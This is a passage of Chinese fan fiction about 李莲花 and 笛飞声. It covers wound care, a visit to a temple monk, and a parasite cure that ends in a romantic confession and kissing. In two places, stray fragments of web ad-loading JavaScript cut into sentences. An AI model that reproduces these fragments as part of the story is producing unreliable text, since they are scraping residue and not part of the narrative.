他们一起坐到备好的宴席上,用了重获自由后的第一顿盛宴。
169
“哗啦啦。”笛飞声上楼时,听见了一阵水花声。
他踟蹰着停下脚步,又似乎想到什么,忽然加快了速度。
“哗啦啦。”推开门,水声不断,李莲花正在浴桶里泡着,但手分明在身上摸来摸去。
170
笛飞声呼吸微滞,但还是一步步往前走去。
“还没好?”他离得更近,本想只投去一眼,却还是忍不住上下逡巡。
李莲花没有回头:“你自己看呗,嘶……”
似乎按到哪里了,他疼得闷哼一声,被水汽蒸得白里透红的后颈仰起。
“……没出血,但有点深。”笛飞声哑着嗓子道:“看来,药魔圈养的灵蛇,蛇牙很长。”
李莲花背上乃至双臂都有细密的牙洞,不出血,也不发红,就是大概时间不长,还没彻底愈合。
但后背尚且如此,前胸、双腿只怕亦免不了毒牙齿痕。
171
笛飞声蹙着眉垂下眸,很仔细地继续找。
这几日捂得厉害,若有汗与灰尘浸了没合拢的蛇牙伤口,恐怕不但难以愈合,还容易引发热证。
结果,他寻了一圈,除了碍眼却细小的牙洞,只看见了李莲花肩后的一道伤疤。
172
是被刀刺穿的伤势,伤口的模样很眼熟。
“这里……”笛飞声忍不住抬指触上,清晰感受到李莲花轻颤了一下。
李莲花终于愿意回头。
“嗯。”水雾模糊,印得他眸中笑意似含幽怨:“你的印记。”
笛飞声猛地攥住了李莲花的肩膀,滚烫的掌心压住那个伤口。
“你不也有我的?”被带的往前一倾,李莲花顺势抬手,指尖如剑,戳在笛飞声胸口。
水雾一瞬破开,心如擂鼓。
笛飞声抿紧嘴唇,任由他靠过来,点着自己的心口,眼神是李相夷的得意,语气却含着李莲花的心疼:“永久性的疤,去不掉的,不是吗?”
173
“还得抹药。”笛飞声答非所问,可嗓音喑哑极了,一把就将李莲花从浴桶里抱起:“夏日多汗,需尽快愈合。”
李莲花点点头:“嗯,有劳笛盟主给我擦了。”
“你自己来!”笛飞声不想惯着他,直接就从兜里掏出那罐药魔特制治疗蛇咬的药膏,塞进李莲花手里。
李莲花似乎不在意大魔头先前默许承诺却反悔的行为,只理所当然道:“有些地方我可够不到,老笛你今晚有事儿的话,就叫无颜来帮个忙。无颜要是忙,那就叫药魔来呗……诶,你怎么拧开罐子了?”
笛飞声瞪他一眼,不吭声。
“我就说嘛,还是你来最方便。”李莲花满不在乎地坐在榻上,敞开了四肢,非常配合涂药的过程。
174
笛飞声额角、后背上的热汗,却随着抹药越来越多,控制不住地冒出来。
似是因为扬州慢的缘故,李莲花驻颜有术,三十岁的年纪看起来活像二十五六。
但不能擅自动用内力,他的肌肤就虽然同样莹润洁白,却远比李相夷当年柔嫩不易恢复,稍微用力大一点,就凹陷下去形成个鲜红指印,仿佛是被人凌虐过。
“……”笛飞声严肃地绷着脸,抿了唇,从后背涂到双臂再抹到胸膛。
红嫩如樱的茱萸周围也有几点灵蛇牙洞,笛飞声擦上去的时候很小心,但粗糙的刀茧哪怕是轻轻抚过,都还是让周遭好像被用力掐过一样红。
这下子,笛飞声不止觉得热了,还觉一股热流涌动在体内,化为心烦气躁的冲动感,无处排解。
他的喉咙几乎快要冒烟了,眸色愈加幽邃,终于在上身抹完后,大松了口气,飞快把药罐递给李莲花时,沉声道:“腿上的,你自己擦。”
175
这么说着,笛飞声突然怀疑人生。
后背是擦不到,但胸口和双臂李莲花明明可以自己动手,本尊为什么这么听话,非得按照灵蛇窟那日被迫答应的条件去做,就因为李莲花打算让别人帮忙?
“嗯,辛苦笛大盟主喽。”知道今晚调戏程度已经够高,李莲花见好就收,敞开腿便伸手自行涂抹。
176
笛飞声深觉此地不宜久留,转身就欲走。
“出去练刀吗?”李莲花故作不知他心中暗潮汹涌,煞有其事问道:“也对,这几日赶路,除了劈琵公子庭院那一刀,你都没练功。那你今晚几时回来,我还给你留一盏灯。”
笛飞声脚步一顿,才道:“比平时迟半个时辰吧。”
177
他走下楼梯的时候,后知后觉地意识到,自己从来都和李莲花一起睡,挤在一张床上。
明明距药魔所言防范碧茶毒发的危险期已经过了,都没有离开莲花楼。
笛飞声一脚重一脚轻,浑身冒热汗地躁动着走了。
他想了想,运起日促三两下便到了据点。
178
聚餐尚在热火朝天的时候,笛飞声静静看了看,没有走进去。
“啪。”他直接去了客房,一掌拍开房门。
呼呼大睡的方大少爷被刀气惊醒,握着剑一个跟头滚下床:“谁?!”
“出来。”笛飞声淡淡道:“李相夷毒还没解,招式尚不能运转自如,但本尊同他交手多次,他的路数仿个七八成,用来教你不成问题。”
真的假的?你这半夜冲过来的行为,分明就是被师父弄得心情不顺,专门来揍我出气的吧?!方多病猜了个八九不离十,忍不住翻个白眼。
但他能怎么办,这打不过逃不掉躲不开的,还不是只能乖乖被痛揍了半宿,再回去自己擦金创药。
179
“汪汪汪。”幸好有这几日被寄养在金鸳盟据点的狐狸精凑过来安慰,令方多病感动地蹲下来搂住狗头蹭了又蹭。
然后,他腰间忽地一松。
低头一看,挨过打后专门去买回来当夜宵决定化悲愤为食欲的鸡腿,落入了狗嘴。
“汪!”狐狸精摇着尾巴,叼着鸡腿钻进了床底下。
方多病大气大怒,甚至有点想哭:“连狗都欺负我,这日子没法过了!”
但他是个情绪稳定的成年孩子了,仅仅一夜,陪着李莲花、笛飞声上普渡寺时,已恢复了大少爷的阳光灿烂:“啊,这里离百川院很近了。”
“我手里还有地契呢。”方多病抱着我过不好也不能让害我师父的人过好的心思,撺掇道:“不如拆了百川院盖猪圈吧!”
180
笛飞声一言难尽地看这傻白甜大少爷一眼,偏头不吭声。
“胡说八道什么呢你。”李莲花拍了方多病一下:“怎么盖?通知你家?这些天如果不是老笛命金鸳盟故布疑阵为你遮掩行踪,你早就被你娘派人抓回去了!”
方多病哑然。
确实,真要拆了百川院,就算有地契,也肯定要通过爹娘,他还是得回家娶公主。
“所以,就不能给你出出气吗?”方多病苦思冥想,等再抬头,就见笛飞声已带着李莲花进了普渡寺。
戴着面具的药魔从后面快步超过他,匆匆跟了上去。
方多病顿时不敢掉队,跟他们直奔无了的禅房。
181
无了从早课回来开门就看见那袭白衣那张熟悉的脸时,无疑是欣慰的。
“回来了啊。”如果李相夷没一边笑着打招呼,一边端起茶壶,给坐在对面的黑衣人满满斟了一杯茶,就好了。
特别是他边殷勤倒茶边笑说:“快尝尝无了的珍藏,连我都很难喝到。”
182
“是吗?”结果,那个黑衣人端起茶盏抿了一口,竟道:“难道不是……只要别是碧茶,你都会觉得好喝?”
无了痛心疾首看着他偷偷摸摸藏起来还被李相夷翻出来的茶叶:“阿弥陀佛,施主此言差矣。”
“啊,那倒不是。”李相夷,或者说李莲花认真说道:“我得纠正一下,彼丘那杯碧茶,我喝得下去,就因为真的很好喝,比和尚这个丝毫不差,我真以为是特别贵重的那种好茶呢!”
183
闻言,黑衣人淡淡瞥了身边那个戴面具的、看发色挺老的人。
“噗通。”那人膝盖一抖就跪了下去,摘掉面具苦着脸道:“李门主,我求您别说了,我的错,都是我的错。”
184
无了眨了眨眼睛,迟疑道:“这几位是……”
方多病心知后面可能发生什么,抢先一步从李莲花身边探出头,说道:“天机山庄,方多病。”
他顿了顿,在李莲花点了头之后,才道:“我目前是师父的亲传弟子。”
“大善。”无了颇为感动,合掌笑道:“李门主总算愿与人再度结下善缘了。”
但是很快,他就笑不出来了。
185
“金鸳盟,笛飞声。”黑衣人没有起身,只坐着淡漠道:“这是药魔。”
无了的眼睛瞪得比铜铃还大,甚至往后退了两步,是一瞬间就能破门而出大喊救命的姿势:“李门主,你要是被挟持了,就吱一声。”
“李相夷,你的朋友都这么戏多的吗?”笛飞声无法理解这样的爱好。
眼看着李相夷旁若无人翻茶,煮了给自己斟一杯,无了又不是傻子。
186
“物以类聚人以群分嘛。”李莲花笑眯眯说道。
嗯,虽然显得有点傻,但都挺真诚可爱的,比四顾门和百川院好多了。笛飞声心里想着,面上却是不动声色:“那就不必废话,李相夷在我金鸳盟做客,大师的字条也就到了本尊手里。”
“此番带药魔前来,是为给李相夷解毒一同会诊,有劳大师了。”他轻轻拍了一下桌子:“若还需什么珍药,尽管说。”
187
药魔一个激灵就爬起来,顾不上心疼,就飞快从药箱往外倒一个个装着灵药的盒子。
方多病卷起袖子一起忙活,按照标签和类型分门别类。
“金鸳盟果然财大气粗。”无了看完一遍,为李莲花诊了脉,高兴地双掌合十,笑道:“李门主好福气啊,寿命延长了。”
他十分感激道:“真得多谢笛盟主,还请再接再厉。我先调整药方,索性药材不缺,现在刚好熬药,只是滋味会比先前的方子更苦。”
188
“好。”笛飞声神色如常地颔首,居然再次道了个谢:“有劳大师了。”
无了自然笑着说无妨,又提笔写方子。
李莲花忍不住动了动脚,却见不动如山的笛飞声突然就对他出了手。
“你?”李莲花一愣之间,穴道被封的死死的。
笛飞声淡淡道:“婆娑步的起手动作,我永远记得清清楚楚。”
“大可不必吧
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
。”李莲花欲哭无泪:“明明都好转了,至少……”
他垂死挣扎:“就不能宽限一天,今天早上才喝过旧方熬的药,效果肯定还没过,我明天再喝新药不行吗?”
189
“啪。”无了还没来得及劝李莲花喝药,就目瞪口呆地看见,笛飞声从腰后取下一个布袋,掏出里头各式各样的小包装糖点。
金鸳盟冷酷无情的大魔头把一堆糖扣在桌子上,对曾经的正道剑神很严肃地叮咛道:“不行,但可以喝后就吃。”
“吃完再买。”他想了想,又言:“记得晚上多刷几遍牙。”
190
原想将乔婉娩找回少师剑之事告诉李莲花,令这对有情人旧情复燃,无了见状,直接就眼神发直地哽住了。
“咳。”当着旧友的面被笛飞声这么用心一哄,就算李莲花脸皮很厚,一时间也觉脸热了,只好心不甘情不愿地答应下来:“好……好吧。”
他有点气恼,就指使徒弟:“方小宝,你去给为师熬药。”
好的,懂了,自己的徒弟是用来干活出气的,宿敌的徒弟是用来暴打出气的。方多病心里嘀嘀咕咕,但身体很诚实地飞快接过新药方:“好!”
他出门之前,恰好听见李莲花追问笛飞声:“这糖什么时候买的啊?我们一路同行,练刀也没看你走远啊。”
“你爬山爬累的时候。”笛飞声淡淡说着,可方多病总觉得他在笑:“我传音让无颜去买的。”
李莲花“哦”了一声,说了一句公道话:“无颜真好用,但他的工钱是不是该翻倍了?”
191
甜齁死了。
方多病面无表情,熬药的时候主动吸了一大口苦不拉几的药雾,才把莫名其妙冒出来的甜齁感压了下去。
192
等他端着药回来时,禅房内已是宾主尽欢,狮魂之事已问得清清楚楚。
“和尚,这些都拜托你了。”方多病就见,李莲花竟取下了腕上佛珠。
这是他认识之后,发觉李莲花从未离过身的东西。
方多病下意识看向药魔和笛飞声,发觉药魔眼观鼻鼻观心一脸我是瞎子的清心寡欲状,而大魔头的嘴角微不可察地勾了起来。
所以,佛珠到底是什么?方多病还在揣测,又见李莲花翻开包裹取出了一只香囊。
193
“阿弥陀佛。”无了大师唱了一声佛号,方问道:“李门主决定了?”
李莲花落落大方道:“当断则断而已,当年东海一战月前,乔姑娘给我写了一封断情信,我因事务繁忙未能及时看见。然后东海上我毒发,坠海后之事你都知道。”
“这些年她一直以为,那封信动摇了我当时的心境,才会战败了不知所踪。”他轻轻浅浅一笑:“可我追查真相十年,是觉得以她的坚强,主动分开就肯定能放下,才未回信。结果误了她十年花期,实在有愧。”
笛飞声毫不客气地插话:“你想的没错,诀别信写了,正常人肯定是事不关己,她一心拖泥带水,与你何干?!”
无了看了看笛飞声脸上的冷硬与李莲花眸中的好笑,了然地不忍直视。
194
“好了好了,总之该断则断。”李莲花改变话术,不再给笛飞声插嘴的余地:“就劳烦大师你做个证,我把香囊佛珠都留在这里,你还给乔姑娘,告诉她‘故人安好勿念,请一切向前看’即可。”
李莲花语气渐止,想了又想,补充道:“对了,劳烦大师把紫矜也叫过来一起听,听完他们好好过日子就行,我有要事处理不必再见。”
至于他们过得咋样,最后还能不能过下去,就都和我无关了。
上辈子老笛杀了紫矜,但饶了阿娩,也正因为肖乔和离后,阿娩一直矜矜业业干事业,连金鸳盟和南胤遗族造反杀皇帝都没管。
所以,虽说李莲花认为紫矜不合适当阿娩的初婚,现在也没理由让他们分开,那此生不如就看个人运势。但若紫矜还耿耿于怀想陷害自己,就不必再客客气气了。
同理,百川院将自己挂上破刃榜之事,也必然不应当再出现。
195
“好。”无了答应了下来:“药魔兄,压制碧茶之毒之法,你我都知。但想彻底解开,还需再谈一番,请?”
药魔背起药箱:“大师客气了,你先请。”
196
无了去普渡寺后院,但也命人去请了乔婉娩来。
李莲花有心避嫌,自然没有出面。
“见过乔女侠。”方多病迎了上去,道追查舅舅单孤刀遗骨意欲收殓,查到金鸳盟仵作狮魂,才几经辗转地追至普渡寺。
有天机山庄的名头在,又是无了大师牵线,乔婉娩当然相信他的来意:“方公子且稍等,我去去就来。”
197
最终,下一站的目的地,敲定在采莲庄,而方多病也因乔婉娩,知晓了寻回少师剑的事情。
“现在怎么办?”离开普渡寺之后,他们在竹林里重新会和:“你的剑,总不能留在百川院吧!那也太委屈剑了!”
这小子的话难得悦耳。笛飞声非常赞同,直言道:“本尊去抢回来。”
“噗。”李莲花一口好茶喷了出来,有点后悔没从无了处多搜刮点走。
他赶忙摇摆着手:“不必了不必了,我们直接去采莲庄就行……”
198
算算时间,现在去刚好能把最后一个倒霉新娘救下来,或许就能躲过穿嫁衣?
虽说不介意再穿一次,但李莲花并不想这嫁衣再沾一次血,才穿自己身上。
“那怎么行?!”他想不到,笛飞声和方多病也有这么默契的时候:“你的剑绝不能留给百川院!”
199
李莲花抽了抽嘴角,把道理给他们掰开了讲:“别想多了,你们自己想,百川院现在比起十年前四顾门如何?”
“天差地别。”笛飞声立即道:“昔日云端客,而今地上泥。”
李莲花哽住。
你这是夸我还是损我呢?!
“对!”偏偏方多病很赞同:“没有师父,百川院就该拆了盖猪圈!”
李莲花深吸了一口气,忍无可忍:“都闭嘴听我说!”
暴走的李相夷成功按住有点兴奋的两人,让他们安安静静地听话了。
200
“没有李相夷的百川院,敢拿着少师剑开赏剑大会……”李莲花摇了摇头,重活一世他算看透了:“这么招摇,实力却不济,你们且看着,他们根本就保不住我的剑!”
他下了最后通牒:“不得出手,让无颜守着,等出头鸟先动,到时候夺回来就行。”
笛飞声与方多病看起来还挺有异议的,然瞧着李莲花的脸色,都不敢吱声了。
10. 【笛花】重生玉城时9
刀语:哪怕被折断,刀也不后悔,也还是爱你,但刀不愿意被你强行握住,只接受主动飞到你手里
正文
201
原本定好了一起去采莲庄,行路才过几日,李莲花忽然想到嫌疑人、见证人兼重要验尸人阎王寻命尚在牢里,赶忙回程。
为了不耽误救人的时间,方小宝再次醒过来时,发觉自己在路边靠着石头睡觉,莲花楼停在不远处空地上,吓得当场跳了起来:“人呢?!”
然后,一封信从怀中掉出,让他梦回还没和李莲花相认之时。
“……”方大少爷陷入了沉思。
202
行吧,他们还有要事,我一人去查狮魂的事情就是。
但采莲庄之前死过两次新娘,这回又即将举行婚事,让我晚上警醒一点?
方多病心中有了底,只怕其中有些危险。
如若不小心,必会有人遇害,人命关天啊!
“唰。”他把信收好,一个人驾驭莲花楼,踏上了征途。
203
离儿早在玉城就被金鸳盟收编,确保不会透露消息给山庄,那应该还能躲过一段时间的。
方多病摸了摸腰间的新玉佩,还不是师娘的未来师娘到底护短,给了自己金鸳盟据点的信物,取银两尽管随意。
“啧,人还没开窍,给师父的三媒六聘也没到位,我可不能随便花大魔头的钱。”大少爷竟取来纸笔,决定用一笔就记一笔,以后再还清。
204
至于李莲花与笛飞声,只剩下他们俩同行,有些话也就好说了。
“你没有什么要解释的吗?”笛飞声淡淡道。
李莲花回眸一笑:“你是指哪方面?”
“你说去救阎王寻命。”笛飞声先点出一处:“但这个方向可不对。”
李莲花敲了敲他的颈侧:“阎王寻命要救,可为你解痋虫更重要。”
“你有办法?”笛飞声的眼眸亮了亮。
李莲花微微一笑:“有,而这办法牵扯到一个惊天秘密。”
他看向笛飞声,眼睛里是李相夷才有的锋锐:“可我既不想此秘太快为人所知,又不愿此事最终静默无声。”
“好。”笛飞声承诺道:“一旦我也知晓此事,必然管住嘴,也不会越过你去处理它。”
李莲花点了点头,他们便恢复那日去龙王棺劫狱的装扮,前往了京城。
205
到底是全天下数一数二的高手,极乐塔很快就在眼前了。
“我来。”李相夷博闻强识,自然有过目不忘之能,上辈子李莲花看方多病开启机关,现在来个照葫芦画瓢轻而易举。
更何况,他亦精通奇门遁甲之术,随地捡几块石头一砸,便是迷阵。
如此一来,他们进入极乐塔就万无一失,不会被夜巡的护卫发现。
206
“轰隆!”不多时,井口洞开。
李莲花直奔目的地,给了笛飞声‘他这十年果然没白待,定来过此处’的错觉。
当那只素手拿起破了的罗摩鼎,将业火母痋展现出来,笛飞声的呼吸一滞。
“老笛……”李莲花忽然又将盖子一合:“别着急,我带你去另一处,看完了,就为你解痋。”
笛飞声似乎并不怀疑,也好像没瞧见烛光下李莲花莫测的眼神。
他只是追在这人身后,很快便到了一处壁画前。
“你自己看。”李莲花举着火烛,声音更轻了:“我来用母痋。”
207
笛飞声一言不发地解析壁画,浑不在意业火母痋自打开的盖子下飞出,一下就趴在了他身上。
但当刺痛传来,且伴随着前所未有的轻松感,他的嘴角还是扬了起来。
208
身后,李莲花的表情平淡极了。
业火子痋是靠近皮肤,把痋虫逼出来吃掉;母痋是找到痋虫的位置,插入口器将之吸出。
但无论怎样,笛飞声身上被种下的痋都解了。
今日之后,笛家堡想来也会很快覆灭。
可如今再看这幅引发了一切的壁画,想到前世为此而亡,李莲花不免深思,这真的值得吗?
209
他死前,觉得此生一了百了。
却想不到会变成笛飞声的背后灵,再眼睁睁看着留下的一堆烂摊子,被笛飞声和其他真心相待之人帮他解决的。
其中,却又牵扯了无数血与仇的债。
“笛飞声。”李莲花忽然就笑了出来:“你看见的,是我最大的秘密。”
210
笛飞声听见声音回眸:“什么?”
却见指尖如惊雷掣电点来,瞬间封住了自己的穴道,几乎来不及反应。
李莲花敛去笑意,凑到他面前,神情是前所未有的复杂。
有犹豫,有踟蹰,有决绝,有冰冷。
“于你而言,若是被控制,恐怕是宁死不屈吧?”他自言自语,反手将盒盖一合,丢到了地上。
211
笛飞声的目光扫过李莲花与罗摩鼎,仍然没有怀疑,只有不解:“你这十年,是学南胤秘术去了?”
“差不多。”李莲花哑然失笑,捏着笛飞声的下颚:“角丽谯的心思,你可明白?”
笛飞声实话实说:“明白,但不理解。”
“她和我,是同宗表亲。”李莲花低语道:“而你,是芳玑太子侍卫长笛长岫的后裔。芳玑太子和萱妃被赐死后,他逃往西南,娶的妻也是南胤人,换而言之你我她都算是同族。”
笛飞声不吭声,但黑白分明的眸子里,分明写满了对角丽谯的嫌弃。
“噗。”李莲花不禁笑出了声,又言笑晏晏地追问追问了一句:“好,那我的心意呢?”
笛飞声抿了抿唇,眼神有点想要躲闪的飘忽,可其中更多是难得一见的赧然,又很快化作平时的坚定:“就算开始没察觉,后来也明白了。”
“所以说,有些缘分真的很奇怪。”因碧茶之毒总有些体凉,李莲花指尖微冷,轻轻划过笛飞声的脖颈,触上了喉结:“几代了,都还能碰上,也都会看上眼。只能说,或许南胤皇族的审美始终如一。”
212
笛飞声安静地望着李莲花。
他有点没听懂,但这个眼神还是过于平静了,就仿佛会接受禁锢自己的这个人做出的任何事。
213
“你……”这令李莲花几乎克制不住血脉里的疯狂与傲慢,迷失在这种制住一匹孤狼而能对他为所欲为的控制欲里:“其实猜到了吧?”
笛飞声仍然眼神沉静地看着他:“是,皇室正统血脉已断,你是芳玑太子和南胤萱公主的后代。你也要复国?不,不仅,我猜你是想拨乱反正、成就帝位。”
“角丽谯也猜出来了。”李莲花垂下眸,松开了触碰笛飞声的手:“我可以将自己打造成一把剑,但这不够,我还需要一把能控制的刀。”
他重新抬起头,嗓音更轻了:“就像是笛长岫逃往西南,差点就成了南胤宗室女手中的刀。”
“强娶?”笛飞声的语气非常淡然。
李莲花强调道:“是强行让他入赘,但他武功高强,最后强行祛除了痋虫,从南胤部落逃了出去。他还抢走了不少痋,才有后来的笛家堡。”
被改良后的痋虫,再不受南胤一脉控制,正是笛长岫对那位南胤郡主的恨意。
214
上辈子在南胤族地发现记录后,老笛的表情可太精彩了。
如果没无颜拦着,他八成能跑去角丽谯坟头踹两脚,给比自己更惨的嫡亲祖宗出个气。
而这辈子以自己的血解笛飞声身上的痋虫失败,李莲花才想起记录中一笔带过的‘改造’。
想来多半是南胤郡主后来还想强求,却吃了亏郁郁而终,族里觉得她输了太丢人,才春秋笔法地简写。
啧,不愧是角丽谯的直系祖先,脾气、审美、行事风格都一脉相承啊。
215
“……”笛飞声磨了磨牙,不吭声。
李莲花同情地看着他:“那位南胤郡主当时怀孕了,她决定留下那个孩子。往后繁衍了几代,只剩下一个独苗苗,叫角丽谯。”
笛飞声的脑子顿时就嗡嗡作响了。
216
“笛长岫是个武功高强的普通男人,既不断袖,也不专情,更不喜欢虐待自己的女人。”李莲花温声道:“他逃走后建立了笛家堡,娶妻纳妾,繁衍子息,疯狂逼迫子嗣互斗,因为他记得郡主那个诅咒……”
他叹了口气:“南胤女子多偏执,得不到宁肯毁掉。笛长岫逃走时,郡主曾说早晚抓他回来。若敢和他人有后,就赐给族人为奴为婢为宠。还要当他的面,把他最出色的那个孩子废掉,赐给自己女儿为玩物。”
“角丽谯。”笛飞声冷冷说道:“这诅咒怕是差点应验。”
可不是嘛。李莲花心有戚戚然地点了点头,然后又给笛飞声放个大雷:“但为了防止郡主发疯,又到底都在西南地区,笛长岫娶的妻纳的妾都是南胤人。他借着南胤宗族的势力,抵住了郡主追捕的压力。”
“所以……”笛飞声的表情完全麻木了:“我还是有南胤血统?”
虽然不是更疯的南胤皇族血统,但仍然给不了他任何安慰。
217
李莲花拍拍他的肩膀,安慰道:“别气嘛,南胤的血统好歹自带天资聪颖的优点。你我不说,角丽谯不如你我,也比大部分同龄人强啊。”
上辈子,老笛知道此事后,活生生喝酒把自己灌醉了,然后在月下耍了一场刀舞。
非常漂亮,李莲花记忆犹新,目光不自觉流连在这人的猿臂蜂腰上。
218
“你要做什么?”笛飞声暂时抛却烦恼,将注意力集中在现在这个让他觉得不太安全的处境上:“你想做什么,李相夷。”
李莲花倒是笑了:“我刚才不是说了嘛,我需要一把为我所用的刀。”
“如果我说不呢?”笛飞声跟着笑了,但他眸中没有笑意。
李莲花的指尖抚过他结实的腰侧,缓缓往上滑动,似是暧昧,却满满都是危险:“正常人,应该会折了那把操纵不了的刀。”
“……你有办法操纵我。”笛飞声看向地上的罗摩鼎,又想起李莲花砸落它时的话语。
于你而言,若是被控制,恐怕是宁死不屈吧?
“但你也知道答案。”金鸳盟盟主笑叹一声,斩钉截铁道:“是,我宁折不弯。”
219
他深深看了李莲花一眼,有些话不必再说,彼此心知肚明。
就像是之前那么多个日日夜夜,贴在怀中的身体,还有平日若有若无的暧昧情愫。
但有可能因痋虫被人控制的自己,根本没有资格放言思慕,也就避而不答,恍如不知。
现在也还是,哪怕他思慕之人完全有能力,成为握住他这把刀的主人,刀也不自由毋宁死。
“李相夷,就算我是刀……”笛飞声放声大笑起来,眸中有遗憾不舍,却没有怨怼恨意,甚至依然含着不加掩饰的情谊:“也不需要主人,你尽管折断!”
李莲花轻轻呼出一口气,呢喃低语道:“我一点都不意外。”
220
“啵。”一个轻灵的吻落在笛飞声唇上,是很单纯的贴贴,却伴随着摧肝裂胆的剧痛。
饶是笛飞声经历过各种人心鬼蜮,也遏制不住惨叫起来:“啊啊啊!”
伤势痊愈达到全盛时期,却被入体的剑劲刺断全部经脉,连咬舌自尽都做不到,只能虚弱无力地栽倒在施暴者怀里,无疑是极绝望的事情。
但悲风白杨自动护主,又有修炼了一段时间的扬州慢自行运转,生机便再度出现。
“凝神静气。”耳畔传来剧痛终止、枯木逢春的柔声,是比至纯至和的内力,是更强的扬州慢,
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
是李莲花。
221
一瞬间由绝望到希望,乾坤颠倒,生死轮转,笛飞声忽然就悟了。
等他从无上之境回过神,悲风白杨第八成已在体内。
222
“李相夷!”笛飞声一把攥住体虚无力的李莲花,咬牙切齿道:“你!”
碧茶毒发,李莲花虚弱地笑了笑:“没事,多喝几天药罢了。”
“这样,我也放心了……”他靠在笛飞声怀里,困倦地闭上眼睛:“就算有朝一日我真控制不住自己了,你也不会有危险。”
223
滚烫的泪再抑制不住地坠落,烫得李莲花一个哆嗦:“不至于啊老笛,你不至于哭吧?”
感受到他现在状态不对,本身也很危险,都仍然选择无悔的放任,并绝不屈服地承担很可能刀断人亡的结局,笛飞声不至于事后安全的很,反倒是哭出来吧?
“你!闭!嘴!”笛飞声抱着心上之人,小心翼翼地灌输内力。
同样轻灵的吻落下去,却不是适才于眉心的浅尝辄止,而是撬开唇齿、直捣黄龙的霸道恣意。
224
“嗯呜……”李莲花在笛飞声怀中发出难耐的呜咽声。
良久,笛飞声松开齿列,含着点微妙的得意道:“这才是亲,你刚才那算什么?”
“……”李莲花险些没力气喘息,但还是努力抬脚踹了他一下。
就是力道轻不可察,更像是挑逗了。
225
“其实,我刚刚是想反抗的,但你下手的确很快。”笛飞声坦言道,见李莲花并不意外,就明白自己一边说话一边冲击被封穴道之举早已被发现了。
李莲花低笑一声:“就算没你,我也最多是艰难点,何必非要折了刀?”
“这刀虽不能为我所用……”他眼底有捉狭笑意:“但摆出来好看呐。”
说笑间,李莲花的手不老实地抚上笛飞声深邃的眉眼:“好看就够了,别的事情,我一个人就能解决。”
“千金难买刀乐意。”笛飞声攥住那只手,五指扣入指缝,瞬间十指相扣:“李相夷,我可以为你所用,前提是我乐意。现在,就刚刚好。”
226
李莲花似笑非笑看了他一眼,抬手推开了:“我可不觉得,某人之前那叫一个坐怀不乱,还深谙装傻之道。”
“你懂的。”明知道他在找茬,笛飞声也还是直言解释:“我不想在体内尚有隐患时,就去招惹你。”
李莲花挑了挑眉:“那现在呢?”
“先救出阎王寻命。”笛飞声笑了:“然后,三王两仪代我去云隐山下聘,哪怕男子结契违背常伦,也三书六礼一个都不会少。”
李莲花“哼”了一声,牵着笛飞声的手,努力站直还发软的身体:“你可真传统。”
“但得小心被我师娘打出来。”狡黠的眼珠子滴溜溜转悠,他唇角勾起了笑容。
笛飞声立刻道:“他们去下聘,不代表我不会亲自去。前辈若有为难,自一力承担。”
227
“那就行了,估计不会为难。”李莲花捏起笛飞声的下颚,双唇轻巧相触。
……
228
“我知道你要说什么……”滚烫的指覆上湿热的唇瓣,笛飞声垂下头,不轻不重地咬住了李莲花的喉珠。
这一下,仿佛饥饿已久的狼王磨牙吮血,即将撕开林中野鹿的喉管,将之拆吃入腹。
“如你所愿……”笛飞声低语道:“养兵千日,用兵一时,刀也如此。来日封后之礼,我同样会应下,不惧任何艰险。即使,那多半只是个开始。”
李莲花微微一震,绷紧的身体陡然放松,涩声道:“好……那就……别在这里。”
“李莲花,我可没那么急色。”笛飞声低笑一声,扶着他站了起来:“你我之间,也不是交易。”
李莲花白他一眼:“我当然知道。”
“唉等等……”正欲俯身捡起罗摩鼎,他忽然意识到了什么:“刚才,你好像是第一次叫我李莲花吧?”
笛飞声坦然看着他:“我猜,你不会以李相夷之名登基的。只因莲花开在相夷的尸骨上,扎根于南胤秘术剧毒,却出淤泥而不染,是吧?”
“你永远都是最懂我的。”李莲花叹了口气,紧紧握住递来的那只手。
他淡然一笑:“一念心清净,莲花处处开。李相夷葬身东海,李莲花涅槃重生。”
曾经激烈的感情变化,或痛恨,或痛苦,或不甘,或淡然,都化为了养料,令李相夷蜕变成了李莲花。
229
“你永远是你,不负初心。”笛飞声捡起罗摩鼎,将母痋取出,放入身上装药的罐子里。
这几日刚把药吃完,还没来及补充,空罐正好装虫。
“李相夷立四顾门,任武林盟主,签和平协议,是为江湖立心。”他把罐子塞给李莲花:“而李莲花想拨乱反正,难道不是为天下太平?”
230
李莲花闭上眼睛,却紧紧抱住了笛飞声。
他哪有这么伟大?
只不过,是再见不得自己心甘情愿就死之后,老皇帝光顾着权势私心,为了保密先灭口轩辕萧,再迫害天机山庄方家,又灭南胤老弱病残幼,甚至连几代之后只能算皇室远亲的真正大熙皇族血脉都不放过。
说来也是可笑,老皇帝若不杀轩辕萧,杨昀春就不会轻易被石水劝得对他离心,皇城司便不可能投向老笛,他想要清洗武林的计划也不会外泄。
那老笛武功再高,也不会直到杀进皇宫了,老皇帝才后知后觉地知晓,已是连逃都来不及。
既然有幸重来一世,李相夷的魂魄在他心里呐喊,再不能故作潇洒,其实不孝不悌,将祖宗留下的江山社稷,拱手让于旁人。应当他这个最后的两族皇裔所承担的重任,亦不可逃避——
受国之垢,是谓社稷主;受国不祥,是为天下王。
11. 【笛花】重生玉城时10
231
他们从极乐塔出来时,旭日正在东升。
地洞很快关上,两人如入宫时一样,无声无息离开了。
“让金鸳盟围住笛家堡,你直接过去。”角丽谯被抓,金鸳盟势大,万圣道不得不暗中行事,李莲花很放心。
232
笛飞声却听出了他的意思:“你不和我一起吗?”
李莲花刚毒发过一次,他真的不太放心。
“没事,药我会按时吃,放心。”李莲花叹了口气:“现在嘛,我有一些事情,得我一个人做。”
他瞧着笛飞声的眼睛:“老笛,我不想让你看见……我费尽心机争权夺利的样子。”
“……你知道我不在意。”笛飞声有点想苦笑,但他还是忍住了:“罢了,你需要我和金鸳盟做什么吗?”
李莲花想了想,露齿一笑:“你收敛点,只用悲风白杨第七成的功力,等鱼上钩即可。”
233
笛家堡这么多年屹立于江湖,不可能没人知道他们靠的是痋虫。
那若笛家堡忽然被老笛所灭,分别握有罗摩天冰的几人又没通通传出死讯,万圣道就很容易推断出,是失踪的业火母痋被发现了。
不然,笛飞声之前一直不动手,难不成是不想报仇吗?
